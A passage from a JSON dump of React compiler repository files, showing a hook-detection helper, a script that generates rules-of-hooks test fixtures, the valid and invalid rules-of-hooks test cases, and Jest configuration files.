path.node;\n  return (\n    (node.type === 'Identifier' && node.name === functionName) ||\n    (node.type === 'MemberExpression' &&\n      node.object.type === 'Identifier' &&\n      node.object.name === 'React' &&\n      node.property.type === 'Identifier' &&\n      node.property.name === functionName)\n  );\n}\n\nfunction callsHooksOrCreatesJsx(node: NodePath<t.Node>): boolean {\n  let invokesHooks = false;\n  let createsJsx = false;\n  node.traverse({\n    JSX() {\n      createsJsx = true;\n    },\n    CallExpression(call) {\n      const callee = call.get('callee');\n      if (callee.isExpression() && isHook(callee)) {\n        invokesHooks = true;\n      }\n    },\n  });\n\n  return invokesHooks || createsJsx;\n}\n\n/*\n * Gets the static name of a function AST node. For function declarations it is\n * easy. For anonymous function expressions it is much harder. If you search for\n * `IsAnonymousFunctionDefinition()` in the ECMAScript spec you'll find places\n * where JS gives anonymous function expressions names. We roughly detect the\n * same AST nodes with some exceptions to better fit our use case.\n */\n\nfunction getFunctionName(\n  path: NodePath<\n    t.FunctionDeclaration | t.ArrowFunctionExpression | t.FunctionExpression\n  >,\n): NodePath<t.Expression> | null {\n  if (path.isFunctionDeclaration()) {\n    const id = path.get('id');\n    if (id.isIdentifier()) {\n      return id;\n    }\n    return null;\n  }\n  let id: NodePath<t.LVal | t.Expression | t.PrivateName> | null = null;\n  const parent = path.parentPath;\n  if (parent.isVariableDeclarator() && parent.get('init').node === path.node) {\n    // const useHook = () => {};\n    id = parent.get('id');\n  } else if (\n    parent.isAssignmentExpression() &&\n    parent.get('right').node === path.node &&\n    parent.get('operator') === '='\n  ) {\n    // useHook = () => {};\n    id = parent.get('left');\n  } else if (\n    parent.isProperty() &&\n    parent.get('value').node === path.node &&\n    !parent.get('computed') &&\n    parent.get('key').isLVal()\n  ) {\n    /*\n     * {useHook: () => {}}\n     * {useHook() {}}\n     */\n    id = parent.get('key');\n  } else if (\n    parent.isAssignmentPattern() &&\n    parent.get('right').node === path.node &&\n    !parent.get('computed')\n  ) {\n    /*\n     * const {useHook = () => {}} = {};\n     * ({useHook = () => {}} = {});\n     *\n     * Kinda clowny, but we'd said we'd follow spec convention for\n     * `IsAnonymousFunctionDefinition()` usage.\n     */\n    id = parent.get('left');\n  }\n  if (id !== null && (id.isIdentifier() || id.isMemberExpression())) {\n    return id;\n  } else {\n    return null;\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/build-react-hooks-fixures.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\nconst {tests} = require('./eslint-plugin-react-hooks-test-cases');\nconst {\n  runBabelPluginReactCompiler,\n} = require('../dist/Babel/RunReactCompilerBabelPlugin');\nconst fs = require('fs');\nconst path = require('path');\nconst prettier = require('prettier');\nconst prettierConfigPath = require.resolve('../.prettierrc');\nconst process = require('process');\nconst {createHash} = require('crypto');\nconst {create} = require('domain');\n\nconst FIXTURES_DIR = path.join(\n  process.cwd(),\n  'src',\n  '__tests__',\n  'fixtures',\n  'compiler',\n  'rules-of-hooks'\n);\n\nconst PRETTIER_OPTIONS = prettier.resolveConfig.sync(FIXTURES_DIR, {\n  config: prettierConfigPath,\n});\n\nconst fixtures = [];\nfor (const test of tests.valid) {\n  fixtures.push({code: test.code, valid: true});\n}\nfor (const test of tests.invalid) {\n  fixtures.push({code: test.code, valid: false});\n}\n\nfor (const fixture of fixtures) {\n  let error = null;\n  let passes = true;\n  try {\n    // Does the fixture pass with hooks validation disabled? if not skip it\n    runBabelPluginReactCompiler(\n      fixture.code,\n      'rules-of-hooks.js',\n      'typescript',\n      {\n        environment: {\n          validateHooksUsage: false,\n        },\n      }\n    );\n    // Does the fixture pass with hooks validation enabled?\n    try {\n      runBabelPluginReactCompiler(\n        fixture.code,\n        'rules-of-hooks.js',\n        'typescript',\n        {\n          environment: {\n            validateHooksUsage: true,\n          },\n        }\n      );\n    } catch (e) {\n      passes = false;\n    }\n  } catch (e) {\n    error = e;\n  }\n  let code = fixture.code;\n  let prefix = '';\n  if (error !== null) {\n    prefix = `todo.bail.`;\n    code = `// @skip\\n// Unsupported input\\n${code}`;\n  } else if (fixture.valid === false) {\n    if (passes) {\n      prefix = `todo.error.invalid-`;\n      code = `// @skip\\n// Passed but should have failed\\n${code}`;\n    } else {\n      prefix = `error.invalid-`;\n      code = `// Expected to fail\\n${code}`;\n    }\n  } else if (!passes) {\n    // oops, error when it should have passed\n    prefix = `todo.`;\n    code = `// @skip\\n// Failed but should have passed\\n${code}`;\n  }\n  const formatted = prettier.format(code, PRETTIER_OPTIONS);\n  const hmac = createHash('sha256');\n  hmac.update(formatted, 'utf8');\n  let name = `${prefix}rules-of-hooks-${hmac\n    .digest('hex')\n    .substring(0, 12)}.js`;\n  const fixturePath = path.join(FIXTURES_DIR, name);\n  fs.writeFileSync(fixturePath, formatted, 'utf8');\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/eslint-plugin-react-hooks-test-cases.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\n// NOTE: Extracted from https://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/__tests__/ESLintRulesOfHooks-test.js\n\n/**\n * A string template tag that removes padding from the left side of multi-line strings\n */\nfunction normalizeIndent(strings) {\n  const codeLines = strings[0].split('\\n');\n  const leftPadding = codeLines[1].match(/\\s+/)[0];\n  return codeLines.map(line => line.slice(leftPadding.length)).join('\\n');\n}\n\nmodule.exports.tests = {\n  valid: [\n    {\n      code: normalizeIndent`\n        // Valid because components can use hooks.\n        function ComponentWithHook() {\n          useHook();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because components can use hooks.\n        function createComponentWithHook() {\n          return function ComponentWithHook() {\n            useHook();\n          };\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can use hooks.\n        function useHookWithHook() {\n          useHook();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can use hooks.\n        function createHook() {\n          return function useHookWithHook() {\n            useHook();\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because components can call functions.\n        function ComponentWithNormalFunction() {\n          doSomething();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions can call functions.\n        function normalFunctionWithNormalFunction() {\n          doSomething();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions can call functions.\n        function normalFunctionWithConditionalFunction() {\n          if (cond) {\n            doSomething();\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because functions can call functions.\n        function functionThatStartsWithUseButIsntAHook() {\n          if (cond) {\n            userFetch();\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid although unconditional return doesn't make sense and would fail other rules.\n        // We could make it invalid but it doesn't matter.\n        function useUnreachable() {\n          return;\n          useHook();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function useHook() { useState(); }\n        const whatever = function useHook() { useState(); };\n        const useHook1 = () => { useState(); };\n        let useHook2 = () => useState();\n        useHook2 = () => { useState(); };\n        ({useHook: () => { useState(); }});\n        ({useHook() { useState(); }});\n        const {useHook3 = () => { useState(); }} = {};\n        ({useHook = () => { useState(); }} = {});\n        Namespace.useHook = () => { useState(); };\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function useHook() {\n          useHook1();\n          useHook2();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function createHook() {\n          return function useHook() {\n            useHook1();\n            useHook2();\n          };\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function useHook() {\n          useState() && a;\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function useHook() {\n          return useHook1() + useHook2();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can call hooks.\n        function useHook() {\n          return useHook1(useHook2());\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can be used in anonymous arrow-function arguments\n        // to forwardRef.\n        const FancyButton = React.forwardRef((props, ref) => {\n          useHook();\n          return <button {...props} ref={ref} />\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can be used in anonymous function arguments to\n        // forwardRef.\n        const FancyButton = React.forwardRef(function (props, ref) {\n          useHook();\n          return <button {...props} ref={ref} />\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can be used in anonymous function arguments to\n        // forwardRef.\n        const FancyButton = forwardRef(function (props, ref) {\n          useHook();\n          return <button {...props} ref={ref} />\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can be used in anonymous function arguments to\n        // React.memo.\n        const MemoizedFunction = React.memo(props => {\n          useHook();\n          return <button {...props} />\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because hooks can be used in anonymous function arguments to\n        // memo.\n        const MemoizedFunction = memo(function (props) {\n          useHook();\n          return <button {...props} />\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because classes can call functions.\n        // We don't consider these to be hooks.\n        class C {\n          m() {\n            this.useHook();\n            super.useHook();\n          }\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid -- this is a regression test.\n        jest.useFakeTimers();\n        beforeEach(() => {\n          jest.useRealTimers();\n        })\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because they're not matching use[A-Z].\n        fooState();\n        _use();\n        _useState();\n        use_hook();\n        // also valid because it's not matching the PascalCase namespace\n        jest.useFakeTimer()\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Regression test for some internal code.\n        // This shows how the \"callback rule\" is more relaxed,\n        // and doesn't kick in unless we're confident we're in\n        // a component or a hook.\n        function makeListener(instance) {\n          each(pixelsWithInferredEvents, pixel => {\n            if (useExtendedSelector(pixel.id) && extendedButton) {\n              foo();\n            }\n          });\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // This is valid because \"use\"-prefixed functions called in\n        // unnamed function arguments are not assumed to be hooks.\n        React.unknownFunction((foo, bar) => {\n          if (foo) {\n            useNotAHook(bar)\n          }\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // This is valid because \"use\"-prefixed functions called in\n        // unnamed function arguments are not assumed to be hooks.\n        unknownFunction(function(foo, bar) {\n          if (foo) {\n            useNotAHook(bar)\n          }\n        });\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Regression test for incorrectly flagged valid code.\n        function RegressionTest() {\n          const foo = cond ? a : b;\n          useState();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because exceptions abort rendering\n        function RegressionTest() {\n          if (page == null) {\n            throw new Error('oh no!');\n          }\n          useState();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because the loop doesn't change the order of hooks calls.\n        function RegressionTest() {\n          const res = [];\n          const additionalCond = true;\n          for (let i = 0; i !== 10 && additionalCond; ++i ) {\n            res.push(i);\n          }\n          React.useLayoutEffect(() => {});\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Is valid but hard to compute by brute-forcing\n        function MyComponent() {\n          // 40 conditions\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n          if (c) {} else {}\n\n          // 10 hooks\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n          useHook();\n        }\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because the neither the conditions before or after the hook affect the hook call\n        // Failed prior to implementing BigInt because pathsFromStartToEnd and allPathsFromStartToEnd were too big and had rounding errors\n        const useSomeHook = () => {};\n\n        const SomeName = () => {\n          const filler = FILLER ?? FILLER ?? FILLER;\n          const filler2 = FILLER ?? FILLER ?? FILLER;\n          const filler3 = FILLER ?? FILLER ?? FILLER;\n          const filler4 = FILLER ?? FILLER ?? FILLER;\n          const filler5 = FILLER ?? FILLER ?? FILLER;\n          const filler6 = FILLER ?? FILLER ?? FILLER;\n          const filler7 = FILLER ?? FILLER ?? FILLER;\n          const filler8 = FILLER ?? FILLER ?? FILLER;\n\n          useSomeHook();\n\n          if (anyConditionCanEvenBeFalse) {\n            return null;\n          }\n\n          return (\n            <React.Fragment>\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n              {FILLER ? FILLER : FILLER}\n            </React.Fragment>\n          );\n        };\n      `,\n    },\n    {\n      code: normalizeIndent`\n        // Valid because the neither the condition nor the loop affect the hook call.\n        function App(props) {\n          const someObject = {propA: true};\n          for (const propName in someObject) {\n            if (propName === true) {\n            } else {\n            }\n          }\n          const [myState, setMyState] = useState(null);\n        }\n      `,\n    },\n  ],\n  invalid: [\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function ComponentWithConditionalHook() {\n          if (cond) {\n            useConditionalHook();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        Hook.useState();\n        Hook._useState();\n        Hook.use42();\n        Hook.useHook();\n        Hook.use_hook();\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        class C {\n          m() {\n            This.useHook();\n            Super.useHook();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // This is a false positive (it's valid) that unfortunately\n        // we cannot avoid. Prefer to rename it to not start with \"use\"\n        class Foo extends Component {\n          render() {\n            if (cond) {\n              FooStore.useFeatureFlag();\n            }\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function ComponentWithConditionalHook() {\n          if (cond) {\n            Namespace.useConditionalHook();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function createComponent() {\n          return function ComponentWithConditionalHook() {\n            if (cond) {\n              useConditionalHook();\n            }\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHookWithConditionalHook() {\n          if (cond) {\n            useConditionalHook();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function createHook() {\n          return function useHookWithConditionalHook() {\n            if (cond) {\n              useConditionalHook();\n            }\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function ComponentWithTernaryHook() {\n          cond ? useTernaryHook() : null;\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        function ComponentWithHookInsideCallback() {\n          useEffect(() => {\n            useHookInsideCallback();\n          });\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        function createComponent() {\n          return function ComponentWithHookInsideCallback() {\n            useEffect(() => {\n              useHookInsideCallback();\n            });\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        const ComponentWithHookInsideCallback = React.forwardRef((props, ref) => {\n          useEffect(() => {\n            useHookInsideCallback();\n          });\n          return <button {...props} ref={ref} />\n        });\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        const ComponentWithHookInsideCallback = React.memo(props => {\n          useEffect(() => {\n            useHookInsideCallback();\n          });\n          return <button {...props} />\n        });\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        function ComponentWithHookInsideCallback() {\n          function handleClick() {\n            useState();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's a common misunderstanding.\n        // We *could* make it valid but the runtime error could be confusing.\n        function createComponent() {\n          return function ComponentWithHookInsideCallback() {\n            function handleClick() {\n              useState();\n            }\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function ComponentWithHookInsideLoop() {\n          while (cond) {\n            useHookInsideLoop();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function renderItem() {\n          useState();\n        }\n\n        function List(props) {\n          return props.items.map(renderItem);\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Currently invalid because it violates the convention and removes the \"taint\"\n        // from a hook. We *could* make it valid to avoid some false positives but let's\n        // ensure that we don't break the \"renderItem\" and \"normalFunctionWithConditionalHook\"\n        // cases which must remain invalid.\n        function normalFunctionWithHook() {\n          useHookInsideNormalFunction();\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // These are neither functions nor hooks.\n        function _normalFunctionWithHook() {\n          useHookInsideNormalFunction();\n        }\n        function _useNotAHook() {\n          useHookInsideNormalFunction();\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function normalFunctionWithConditionalHook() {\n          if (cond) {\n            useHookInsideNormalFunction();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHookInLoops() {\n          while (a) {\n            useHook1();\n            if (b) return;\n            useHook2();\n          }\n          while (c) {\n            useHook3();\n            if (d) return;\n            useHook4();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHookInLoops() {\n          while (a) {\n            useHook1();\n            if (b) continue;\n            useHook2();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useLabeledBlock() {\n          label: {\n            if (a) break label;\n            useHook();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Currently invalid.\n        // These are variations capturing the current heuristic--\n        // we only allow hooks in PascalCase or useFoo functions.\n        // We *could* make some of these valid. But before doing it,\n        // consider specific cases documented above that contain reasoning.\n        function a() { useState(); }\n        const whatever = function b() { useState(); };\n        const c = () => { useState(); };\n        let d = () => useState();\n        e = () => { useState(); };\n        ({f: () => { useState(); }});\n        ({g() { useState(); }});\n        const {j = () => { useState(); }} = {};\n        ({k = () => { useState(); }} = {});\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook() {\n          if (a) return;\n          useState();\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook() {\n          if (a) return;\n          if (b) {\n            console.log('true');\n          } else {\n            console.log('false');\n          }\n          useState();\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook() {\n          if (b) {\n            console.log('true');\n          } else {\n            console.log('false');\n          }\n          if (a) return;\n          useState();\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook() {\n          a && useHook1();\n          b && useHook2();\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook() {\n          try {\n            f();\n            useState();\n          } catch {}\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        function useHook({ bar }) {\n          let foo1 = bar && useState();\n          let foo2 = bar || useState();\n          let foo3 = bar ?? useState();\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        const FancyButton = React.forwardRef((props, ref) => {\n          if (props.fancy) {\n            useCustomHook();\n          }\n          return <button ref={ref}>{props.children}</button>;\n        });\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        const FancyButton = forwardRef(function(props, ref) {\n          if (props.fancy) {\n            useCustomHook();\n          }\n          return <button ref={ref}>{props.children}</button>;\n        });\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous and might not warn otherwise.\n        // This *must* be invalid.\n        const MemoizedButton = memo(function(props) {\n          if (props.fancy) {\n            useCustomHook();\n          }\n          return <button>{props.children}</button>;\n        });\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // This is invalid because \"use\"-prefixed functions used in named\n        // functions are assumed to be hooks.\n        React.unknownFunction(function notAComponent(foo, bar) {\n          useProbablyAHook(bar)\n        });\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Invalid because it's dangerous.\n        // Normally, this would crash, but not if you use inline requires.\n        // This *must* be invalid.\n        // It's expected to have some false positives, but arguably\n        // they are confusing anyway due to the use*() convention\n        // already being associated with Hooks.\n        useState();\n        if (foo) {\n          const foo = React.useCallback(() => {});\n        }\n        useCustomHook();\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        // Technically this is a false positive.\n        // We *could* make it valid (and it used to be).\n        //\n        // However, top-level Hook-like calls can be very dangerous\n        // in environments with inline requires because they can mask\n        // the runtime error by accident.\n        // So we prefer to disallow it despite the false positive.\n\n        const {createHistory, useBasename} = require('history-2.1.2');\n        const browserHistory = useBasename(createHistory)({\n          basename: '/',\n        });\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        class ClassComponentWithFeatureFlag extends React.Component {\n          render() {\n            if (foo) {\n              useFeatureFlag();\n            }\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        class ClassComponentWithHook extends React.Component {\n          render() {\n            React.useState();\n          }\n        }\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        (class {useHook = () => { useState(); }});\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        (class {useHook() { useState(); }});\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        (class {h = () => { useState(); }});\n      `,\n      errors: [],\n    },\n    {\n      code: normalizeIndent`\n        (class {i() { useState(); }});\n      `,\n      errors: [],\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/jest/e2e-classic.config.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst makeE2EConfig = require('../jest/makeE2EConfig');\n\nmodule.exports = makeE2EConfig('e2e no forget', false);\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/jest/e2e-forget.config.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nconst makeE2EConfig = require('../jest/makeE2EConfig');\n\nmodule.exports = makeE2EConfig('e2e with forget', true);\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/jest/main.config.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nmodule.exports = {\n  displayName: 'main',\n  preset: 'ts-jest',\n  rootDir: '../../src',\n  testPathIgnorePatterns: ['e2e', 'TestDriver', 'test-utils', 'fixtures'],\n  globals: {\n    __DEV__: true,\n  },\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/jest/makeE2EConfig.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nmodule.exports = function makeE2EConfig(displayName, useForget) {\n  return {\n    displayName,\n    testEnvironment: 'jsdom',\n    rootDir: '../../src',\n    testMatch: ['**/*.e2e.(js|tsx)'],\n    modulePathIgnorePatterns: [\n      // ignore snapshots from the opposite forget configuration\n      useForget ? '.*\\\\.no-forget\\\\.snap$' : '.*\\\\.with-forget\\\\.snap$',\n      // ignore snapshots from the main project\n      '.*\\\\.ts\\\\.snap$',\n    ],\n    globals: {\n      __FORGET__: useForget,\n    },\n    snapshotResolver: useForget\n      ? '<rootDir>/../scripts/jest/snapshot-resolver-with-forget.js'\n      : '<rootDir>/../scripts/jest/snapshot-resolver-no-forget.js',\n\n    transform: {\n      '\\\\.[tj]sx?$': useForget\n        ? '<rootDir>/../scripts/jest/transform-with-forget'\n        : '<rootDir>/../scripts/jest/transform-no-forget',\n    },\n    transformIgnorePatterns: ['/node_modules/'],\n  };\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/jest/makeSnapshotResolver.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nmodule.exports = function makeSnapshotResolver(useForget) {\n  const modeExtension = useForget ? '.with-forget' : '.no-forget';\n  return {\n    resolveSnapshotPath: (testPath, snapshotExtension) =>\n      testPath + modeExtension + snapshotExtension,\n\n    resolveTestPath: (snapshotFilePath, snapshotExtension) =>\n      snapshotFilePath.slice(\n        0,\n        -modeExtension.length - snapshotExtension.length\n      ),\n\n    testPathForConsistencyCheck: 'some/__tests__/example.test.js',\n  };\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/scripts/jest/makeTransform.ts",
